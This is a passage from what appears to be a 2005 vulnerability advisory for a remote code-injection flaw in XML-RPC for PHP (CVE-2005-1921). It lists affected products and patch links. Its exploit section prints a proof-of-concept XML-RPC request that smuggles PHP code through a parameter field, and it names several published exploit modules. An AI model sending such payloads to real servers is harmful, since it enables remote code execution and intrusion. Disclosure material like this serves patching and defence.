XML-RPC for PHP Remote Code Injection Vulnerability
BID:14088
Info
XML-RPC for PHP Remote Code Injection Vulnerability
| Bugtraq ID: | 14088 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-1921 CVE-2005-2116 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 29 2005 12:00AM |
| Updated: | Mar 12 2007 10:34PM |
| Credit: | Discovery is credited to James from GulfTech Security Research. |
| Vulnerable: |
Xoops Xoops 2.0.12 Xoops Xoops 2.0.11 Xoops Xoops 2.0.10 Xoops Xoops 2.0.9 .3 Xoops Xoops 2.0.9 .2 Xoops Xoops 2.0.5 .2 Xoops Xoops 2.0.5 .1 Xoops Xoops 2.0.5 Xoops Xoops 2.0.3 Xoops Xoops 2.0.2 Xoops Xoops 2.0.1 Xoops Xoops 2.0 XML-RPC for PHP XML-RPC for PHP 1.1 XML-RPC for PHP XML-RPC for PHP 1.0.99 .2 XML-RPC for PHP XML-RPC for PHP 1.0.99 XML-RPC for PHP XML-RPC for PHP 1.0 2 XML-RPC for PHP XML-RPC for PHP 1.0 1 XML-RPC for PHP XML-RPC for PHP 1.0 WordPress WordPress 1.5.1 .2 WordPress WordPress 1.5.1 WordPress WordPress 1.5 WordPress WordPress 1.2.2 WordPress WordPress 1.2.1 WordPress WordPress 1.2 WordPress WordPress 0.71 WordPress WordPress 0.7 Ubuntu Ubuntu Linux 5.0 4 powerpc Ubuntu Ubuntu Linux 5.0 4 i386 Ubuntu Ubuntu Linux 5.0 4 amd64 Ubuntu Ubuntu Linux 4.1 ppc Ubuntu Ubuntu Linux 4.1 ia64 Ubuntu Ubuntu Linux 4.1 ia32 Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 Trustix Secure Linux 2.1 Trustix Secure Enterprise Linux 2.0 TikiWiki Project TikiWiki 1.8.4 TikiWiki Project TikiWiki 1.8.3 TikiWiki Project TikiWiki 1.8.2 TikiWiki Project TikiWiki 1.8.1 TikiWiki Project TikiWiki 1.8 TikiWiki Project TikiWiki 1.7.9 TikiWiki Project TikiWiki 1.7.8 TikiWiki Project TikiWiki 1.7.7 TikiWiki Project TikiWiki 1.7.6 TikiWiki Project TikiWiki 1.7.5 TikiWiki Project TikiWiki 1.7.4 TikiWiki Project TikiWiki 1.7.3 TikiWiki Project TikiWiki 1.7.2 TikiWiki Project TikiWiki 1.7.1 .1 TikiWiki Project TikiWiki 1.6.1 SuSE SUSE Linux Enterprise Server 8 SuSE Linux Enterprise Server 9 SuSE Linux Desktop 1.0 SGI ProPack 3.0 SP6 Seagull PHP Framework Seagull PHP Framework 0.4.3 Seagull PHP Framework Seagull PHP Framework 0.4.2 Seagull PHP Framework Seagull PHP Framework 0.4.1 Seagull PHP Framework Seagull PHP Framework 0.4 dev3 Seagull PHP Framework Seagull PHP Framework 0.4 dev2 Seagull PHP Framework Seagull PHP Framework 0.4 dev1 Seagull PHP Framework Seagull PHP Framework 0.4 S9Y Serendipity 0.8.1 S9Y Serendipity 0.8 -beta6 Snapshot S9Y Serendipity 0.8 -beta6 S9Y Serendipity 0.8 -beta5 S9Y Serendipity 0.8 S.u.S.E. SuSE Linux School Server for i386 S.u.S.E. SUSE LINUX Retail Solution 8.0 S.u.S.E. SuSE Linux Openexchange Server 4.0 S.u.S.E. Open-Enterprise-Server 9.0 S.u.S.E. Novell Linux Desktop 9.0 S.u.S.E. Linux Professional 9.3 x86_64 S.u.S.E. Linux Professional 9.3 S.u.S.E. Linux Professional 9.2 x86_64 S.u.S.E. Linux Professional 9.2 S.u.S.E. Linux Professional 9.1 x86_64 S.u.S.E. Linux Professional 9.1 S.u.S.E. Linux Professional 9.0 x86_64 S.u.S.E. Linux Professional 9.0 S.u.S.E. Linux Professional 8.2 S.u.S.E. Linux Professional 8.2 S.u.S.E. Linux Personal 9.3 x86_64 S.u.S.E. Linux Personal 9.3 S.u.S.E. Linux Personal 9.2 x86_64 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 x86_64 S.u.S.E. Linux Personal 9.1 S.u.S.E. Linux Personal 9.0 x86_64 S.u.S.E. Linux Personal 9.0 S.u.S.E. Linux Personal 8.2 Redhat Fedora Core4 Redhat Fedora Core3 Redhat Fedora Core2 Redhat Fedora Core1 Redhat Enterprise Linux WS 4 Redhat Enterprise Linux WS 3 Redhat Enterprise Linux ES 4 Redhat Enterprise Linux ES 3 Redhat Enterprise Linux AS 4 Redhat Enterprise Linux AS 3 Redhat Desktop 4.0 Redhat Desktop 3.0 PostNuke Development Team PostNuke 0.76 RC4b PostNuke Development Team PostNuke 0.76 RC4a PostNuke Development Team PostNuke 0.76 RC4 PostNuke Development Team PostNuke 0.75 phpWebsite phpWebsite 0.10.1 phpWebsite phpWebsite 0.10 phpWebsite phpWebsite 0.9.3 -4 phpWebsite phpWebsite 0.9.3 -3 phpWebsite phpWebsite 0.9.3 -2 phpWebsite phpWebsite 0.9.3 -1 phpWebsite phpWebsite 0.9.3 phpPgAds phpPgAds 2.0.6 phpPgAds phpPgAds 2.0 phpMyFAQ phpMyFAQ 1.5 RC4 phpMyFAQ phpMyFAQ 1.5 RC3 phpMyFAQ phpMyFAQ 1.5 RC2 phpMyFAQ phpMyFAQ 1.5 RC1 phpMyFAQ phpMyFAQ 1.5 beta3 phpMyFAQ phpMyFAQ 1.5 beta2 phpMyFAQ phpMyFAQ 1.5 beta1 phpMyFAQ phpMyFAQ 1.5 alpha2 phpMyFAQ phpMyFAQ 1.5 alpha1 phpMyFAQ phpMyFAQ 1.4.8 phpMyFAQ phpMyFAQ 1.4.7 phpMyFAQ phpMyFAQ 1.4.6 phpMyFAQ phpMyFAQ 1.4.5 phpMyFAQ phpMyFAQ 1.4.4 phpMyFAQ phpMyFAQ 1.4.3 phpMyFAQ phpMyFAQ 1.4.2 phpMyFAQ phpMyFAQ 1.4.1 phpMyFAQ phpMyFAQ 1.4 a phpMyFAQ phpMyFAQ 1.4 -alpha 2 phpMyFAQ phpMyFAQ 1.4 -alpha 1 phpMyFAQ phpMyFAQ 1.4 PHPGroupWare PHPGroupWare 0.9.16 RC3 PHPGroupWare PHPGroupWare 0.9.16 RC2 PHPGroupWare PHPGroupWare 0.9.16 RC1 PHPGroupWare PHPGroupWare 0.9.16 .006 PHPGroupWare PHPGroupWare 0.9.16 .005 PHPGroupWare PHPGroupWare 0.9.16 .003 PHPGroupWare PHPGroupWare 0.9.16 .002 PHPGroupWare PHPGroupWare 0.9.16 .000 PHPGroupWare PHPGroupWare 0.9.14 .007 PHPGroupWare PHPGroupWare 0.9.14 .006 PHPGroupWare PHPGroupWare 0.9.14 .005 PHPGroupWare PHPGroupWare 0.9.14 .004 PHPGroupWare PHPGroupWare 0.9.14 .003 PHPGroupWare PHPGroupWare 0.9.14 .002 PHPGroupWare PHPGroupWare 0.9.14 .001 PHPGroupWare PHPGroupWare 0.9.14 PHPGroupWare PHPGroupWare 0.9.13 PHPGroupWare PHPGroupWare 0.9.12 phpAdsNew phpAdsNew 2.0.4 -pr2 phpAdsNew phpAdsNew 2.0.4 -pr1 phpAdsNew phpAdsNew 2.0 beta 6 phpAdsNew phpAdsNew 2.0 beta 5 phpAdsNew phpAdsNew 2 dev 30092001 phpAdsNew phpAdsNew 2 dev 09102001 PHP-Wiki PHP-Wiki 1.3.11 _rc3 PHP-Wiki PHP-Wiki 1.3.11 _rc2 PHP-Wiki PHP-Wiki 1.3.10 PHP-Wiki PHP-Wiki 1.3.9 PHP-Wiki PHP-Wiki 1.3.3 PHP-Wiki PHP-Wiki 1.3.2 PHP-Wiki PHP-Wiki 1.3.1 PHP-Wiki PHP-Wiki 1.2.2 PHP-Wiki PHP-Wiki 1.2.1 PHP-Wiki PHP-Wiki 1.2 PHP PHP 4.3.11 PHP PHP 4.3.10 PHP PHP 4.3.9 PHP PHP 4.3.8 PHP PHP 4.3.7 PHP PHP 4.3.6 PHP PHP 4.3.5 PHP PHP 4.3.4 PHP PHP 4.3.3 PHP PHP 4.3.2 PHP PHP 4.3.1 PHP PHP 4.3 PHP PHP 4.2.3 PHP PHP 4.2.2 PHP PHP 4.2.1 PHP PHP 4.2 .0 PHP PHP 4.2 -dev PHP PHP 4.1.2 PHP PHP 4.1.1 PHP PHP 4.1 .0 PHP PHP 4.0.7 RC3 PHP PHP 4.0.7 RC2 PHP PHP 4.0.7 RC1 PHP PHP 4.0.7 PHP PHP 4.0.6 PHP PHP 4.0.5 PHP PHP 4.0.4 PHP PHP 4.0.3 pl1 PHP PHP 4.0.3 PHP PHP 4.0.2 PHP PHP 4.0.1 pl2 PHP PHP 4.0.1 pl1 PHP PHP 4.0.1 PHP PHP 4.0 0 PEAR XML_RPC 1.3 RC3 PEAR XML_RPC 1.3 RC2 PEAR XML_RPC 1.3 RC1 PEAR XML_RPC 1.3 Nucleus CMS Nucleus CMS 3.2 Nucleus CMS Nucleus CMS 3.1 Nucleus CMS Nucleus CMS 3.0 RC Nucleus CMS Nucleus CMS 3.0 1 Nucleus CMS Nucleus CMS 3.0 MySQL AB Eventum 1.5.4 MAXdev MD-Pro 1.0.72 Mandriva Linux Mandrake 10.2 x86_64 Mandriva Linux Mandrake 10.2 Mandriva Linux Mandrake 10.1 x86_64 Mandriva Linux Mandrake 10.1 Mandriva Linux Mandrake 10.0 AMD64 Mandriva Linux Mandrake 10.0 MandrakeSoft Corporate Server 3.0 x86_64 MandrakeSoft Corporate Server 3.0 MailWatch for MailScanner MailWatch for MailScanner 1.0 MailWatch for MailScanner MailWatch for MailScanner 0.5.1 MailWatch for MailScanner MailWatch for MailScanner 0.5 MailWatch for MailScanner MailWatch for MailScanner 0.4 HP Tru64 5.1 B-3 HP Tru64 5.1 B-2 PK4 HP Tru64 5.1 A PK6 FreeMed Software FreeMed 0.8.1 FreeMed Software FreeMed 0.8 .0 eGroupWare eGroupWare 1.0.6 eGroupWare eGroupWare 1.0.3 eGroupWare eGroupWare 1.0.1 eGroupWare eGroupWare 1.0 .0.007 Drupal Drupal 4.6.1 Drupal Drupal 4.6 Drupal Drupal 4.5.3 Drupal Drupal 4.5.2 Drupal Drupal 4.5.2 Drupal Drupal 4.5.1 Drupal Drupal 4.5 Debian Linux 3.0 sparc Debian Linux 3.0 s/390 Debian Linux 3.0 ppc Debian Linux 3.0 mipsel Debian Linux 3.0 mips Debian Linux 3.0 m68k Debian Linux 3.0 ia-64 Debian Linux 3.0 ia-32 Debian Linux 3.0 hppa Debian Linux 3.0 arm Debian Linux 3.0 alpha Debian Linux 3.0 CivicSpace Labs CivicSpace 0.8.1 CivicSpace Labs CivicSpace 0.8 .0.5 CivicSpace Labs CivicSpace 0.8 .0.4 CivicSpace Labs CivicSpace 0.8 .0.3 CivicSpace Labs CivicSpace 0.8 .0.2 CivicSpace Labs CivicSpace 0.7.2 BLOG:CMS BLOG:CMS 3.6.4 BLOG:CMS BLOG:CMS 3.6.2 b2evolution b2evolution 0.9 .0.12 b2evolution b2evolution 0.9 .0.11 b2evolution b2evolution 0.9 .0.10 b2evolution b2evolution 0.9 .0.09 b2evolution b2evolution 0.9 .0.08 b2evolution b2evolution 0.9 .0.05 b2evolution b2evolution 0.9 .0.03 b2evolution b2evolution 0.8.9 b2evolution b2evolution 0.8.7 b2evolution b2evolution 0.8.6 .2 b2evolution b2evolution 0.8.6 .1 b2evolution b2evolution 0.8.6 b2evolution b2evolution 0.8.2 .2 b2evolution b2evolution 0.8.2 Ampache Ampache 3.3.1 Ampache Ampache 3.3 Ampache Ampache 3.2.4 Ampache Ampache 3.2.3 Ampache Ampache 3.2.2 Ampache Ampache 3.2.1 Ampache Ampache 3.2 |
| Not Vulnerable: |
Xoops Xoops 2.0.12 a XML-RPC for PHP XML-RPC for PHP 1.1.1 WordPress WordPress 1.5.1 .3 TikiWiki Project TikiWiki 1.8.5 Seagull PHP Framework Seagull PHP Framework 0.4.4 S9Y Serendipity 0.8.2 phpPgAds phpPgAds 2.0.5 phpMyFAQ phpMyFAQ 1.5 RC5 phpMyFAQ phpMyFAQ 1.4.9 phpAdsNew phpAdsNew 2.0.6 PHP PHP 4.4 .0 PEAR XML_RPC 1.3.1 Nucleus CMS Nucleus CMS 3.21 MySQL AB Eventum 1.5.5 MAXdev MD-Pro 1.0.73 MailWatch for MailScanner MailWatch for MailScanner 1.0.1 FreeMed Software FreeMed 0.8.1 .1 Drupal Drupal 4.6.2 Drupal Drupal 4.5.4 b2evolution b2evolution 0.9.1 Ampache Ampache 3.3.1 .2 |
Discussion
XML-RPC for PHP Remote Code Injection Vulnerability
XML-RPC for PHP is affected by a remote code-injection vulnerability.
An attacker may exploit this issue to execute arbitrary commands or code in the context of the webserver. This may facilitate various attacks, including unauthorized remote access.
XML-RPC for PHP 1.1 and prior versions are affected by this issue. Other applications using this library are also affected.
XML-RPC for PHP is affected by a remote code-injection vulnerability.
An attacker may exploit this issue to execute arbitrary commands or code in the context of the webserver. This may facilitate various attacks, including unauthorized remote access.
XML-RPC for PHP 1.1 and prior versions are affected by this issue. Other applications using this library are also affected.
Exploit / POC
XML-RPC for PHP Remote Code Injection Vulnerability
An exploit is not required.
The following proof-of-concept XML file is available:
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The proof-of-concept xml_rpc_poc.pl has been provided by dukenn.
The proof-of-concept xoops.pl for xoops has been provided by 1dt.w0lf.
comsatcat has provided a metasploit exploit for PHP XMLRPC, xmlrpc_exp.pl.
H D Moore <[email protected]> has provided a metasploit exploit for PHP XMLRPC, php_xmlrpc_eval.pm.
An exploit is not required.
The following proof-of-concept XML file is available:
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
The proof-of-concept xml_rpc_poc.pl has been provided by dukenn.
The proof-of-concept xoops.pl for xoops has been provided by 1dt.w0lf.
comsatcat has provided a metasploit exploit for PHP XMLRPC, xmlrpc_exp.pl.
H D Moore <[email protected]> has provided a metasploit exploit for PHP XMLRPC, php_xmlrpc_eval.pm.
Solution / Fix
XML-RPC for PHP Remote Code Injection Vulnerability
Solution:
Please see the referenced advisories for more information.
phpWebsite phpWebsite 0.10
Seagull PHP Framework Seagull PHP Framework 0.4 dev2
Seagull PHP Framework Seagull PHP Framework 0.4 dev3
Seagull PHP Framework Seagull PHP Framework 0.4.1
MailWatch for MailScanner MailWatch for MailScanner 0.5.1
FreeMed Software FreeMed 0.8 .0
S9Y Serendipity 0.8
S9Y Serendipity 0.8.1
b2evolution b2evolution 0.8.9
b2evolution b2evolution 0.9 .0.12
b2evolution b2evolution 0.9 .0.11
PHPGroupWare PHPGroupWare 0.9.16 .005
phpWebsite phpWebsite 0.9.3 -2
MailWatch for MailScanner MailWatch for MailScanner 1.0
XML-RPC for PHP XML-RPC for PHP 1.0 1
eGroupWare eGroupWare 1.0 .0.007
XML-RPC for PHP XML-RPC for PHP 1.1
WordPress WordPress 1.2
WordPress WordPress 1.2.2
PEAR XML_RPC 1.3
PEAR XML_RPC 1.3 RC2
PEAR XML_RPC 1.3 RC3
phpMyFAQ phpMyFAQ 1.4.3
phpMyFAQ phpMyFAQ 1.4.4
phpMyFAQ phpMyFAQ 1.4.8
phpMyFAQ phpMyFAQ 1.5 RC1
phpMyFAQ phpMyFAQ 1.5 beta2
WordPress WordPress 1.5
Xoops Xoops 2.0.1
Xoops Xoops 2.0.10
Xoops Xoops 2.0.2
Xoops Xoops 2.0.3
phpAdsNew phpAdsNew 2.0.4 -pr2
Nucleus CMS Nucleus CMS 3.0 1
Nucleus CMS Nucleus CMS 3.1
Ampache Ampache 3.2
PHP PHP 4.0.1
PHP PHP 4.0.1 pl2
PHP PHP 4.0.3 pl1
PHP PHP 4.0.3
PHP PHP 4.0.7 RC2
PHP PHP 4.2 -dev
PHP PHP 4.3.2
PHP PHP 4.3.5
Drupal Drupal 4.5.2
Drupal Drupal 4.6
Drupal Drupal 4.6.1
HP Tru64 5.1 B-3
Solution:
Please see the referenced advisories for more information.
phpWebsite phpWebsite 0.10
-
phpWebsite phpwebsite_security_patch_20050705.2.tgz
http://phpwebsite.appstate.edu/downloads/security/phpwebsite_security_ patch_20050705.2.tgz
Seagull PHP Framework Seagull PHP Framework 0.4 dev2
-
Seagull PHP Framework seagull-0.4.4.tar.gz
http://prdownloads.sourceforge.net/seagull/seagull-0.4.4.tar.gz?downlo ad
Seagull PHP Framework Seagull PHP Framework 0.4 dev3
-
Seagull PHP Framework seagull-0.4.4.tar.gz
http://prdownloads.sourceforge.net/seagull/seagull-0.4.4.tar.gz?downlo ad
Seagull PHP Framework Seagull PHP Framework 0.4.1
-
Seagull PHP Framework seagull-0.4.4.tar.gz
http://prdownloads.sourceforge.net/seagull/seagull-0.4.4.tar.gz?downlo ad
MailWatch for MailScanner MailWatch for MailScanner 0.5.1
-
MailWatch for MailScanner mailwatch-1.0.1.tar.gz
http://prdownloads.sourceforge.net/mailwatch/mailwatch-1.0.1.tar.gz?do wnload
FreeMed Software FreeMed 0.8 .0
-
FreeMed Software freemed-0.8.1.1.tar.gz
http://prdownloads.sourceforge.net/freemed/freemed-0.8.1.1.tar.gz?down load
S9Y Serendipity 0.8
-
S9Y serendipity-0.8.2.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.8.2.tar.gz?d ownload
S9Y Serendipity 0.8.1
-
S9Y serendipity-0.8.2.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.8.2.tar.gz?d ownload
b2evolution b2evolution 0.8.9
-
b2evolution b2evolution-0.9.1b-2005-09-16.zip
http://prdownloads.sourceforge.net/evocms/b2evolution-0.9.1b-2005-09-1 6.zip?download
b2evolution b2evolution 0.9 .0.12
-
b2evolution b2evolution-0.9.1b-2005-09-16.zip
http://prdownloads.sourceforge.net/evocms/b2evolution-0.9.1b-2005-09-1 6.zip?download
b2evolution b2evolution 0.9 .0.11
-
b2evolution b2evolution-0.9.1b-2005-09-16.zip
http://prdownloads.sourceforge.net/evocms/b2evolution-0.9.1b-2005-09-1 6.zip?download
PHPGroupWare PHPGroupWare 0.9.16 .005
-
Debian phpgroupware-addressbook_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-addressbook_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-admin_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-admin_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-bookmarks_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-bookmarks_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-calendar_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-calendar_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-chat_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-chat_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-comic_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-comic_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-core_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-core_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-developer-tools_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-developer-tools_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-dj_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-dj_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-eldaptir_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-eldaptir_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-email_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-email_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-etemplate_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-etemplate_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-felamimail_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-felamimail_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-filemanager_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-filemanager_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-folders_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-folders_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-forum_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-forum_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-ftp_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-ftp_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-fudforum_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-fudforum_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-headlines_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-headlines_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-hr_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-hr_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-img_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-img_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-infolog_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-infolog_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-manual_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-manual_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-messenger_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-messenger_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-news-admin_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-news-admin_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-nntp_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-nntp_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-notes_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-notes_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-phonelog_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-phonelog_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-phpbrain_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-phpbrain_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-phpgwapi_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-phpgwapi_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-phpsysinfo_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-phpsysinfo_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-polls_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-polls_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-preferences_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-preferences_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-projects_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-projects_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-qmailldap_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-qmailldap_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-registration_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-registration_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-setup_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-setup_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-sitemgr_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-sitemgr_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-skel_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-skel_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-soap_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-soap_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-stocks_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-stocks_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-todo_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-todo_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-tts_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-tts_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-wiki_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-wiki_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware-xmlrpc_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re-xmlrpc_0.9.16.005-3.sarge0_all.deb -
Debian phpgroupware_0.9.16.005-3.sarge0_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/p/phpgroupware/phpgroupwa re_0.9.16.005-3.sarge0_all.deb
phpWebsite phpWebsite 0.9.3 -2
-
phpWebsite phpwebsite_security_patch_20050705.2.tgz
http://phpwebsite.appstate.edu/downloads/security/phpwebsite_security_ patch_20050705.2.tgz
MailWatch for MailScanner MailWatch for MailScanner 1.0
-
MailWatch for MailScanner mailwatch-1.0.1.tar.gz
http://prdownloads.sourceforge.net/mailwatch/mailwatch-1.0.1.tar.gz?do wnload
XML-RPC for PHP XML-RPC for PHP 1.0 1
-
XML-RPC for PHP xmlrpc-1.1.1.tgz
http://prdownloads.sourceforge.net/phpxmlrpc/xmlrpc-1.1.1.tgz?download
eGroupWare eGroupWare 1.0 .0.007
-
Debian egroupware-addressbook_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-a ddressbook_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-bookmarks_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-b ookmarks_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-calendar_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-c alendar_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-comic_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
http://security.debian.org/pool/updates/main/e/egroupware/egroupware-c omic_1.0.0.007-2.dfsg-2sarge1_all.deb -
Debian egroupware-core_1.0.0.007-2.dfsg-2sarge1_all.deb
Debian 3.1 (sarge)
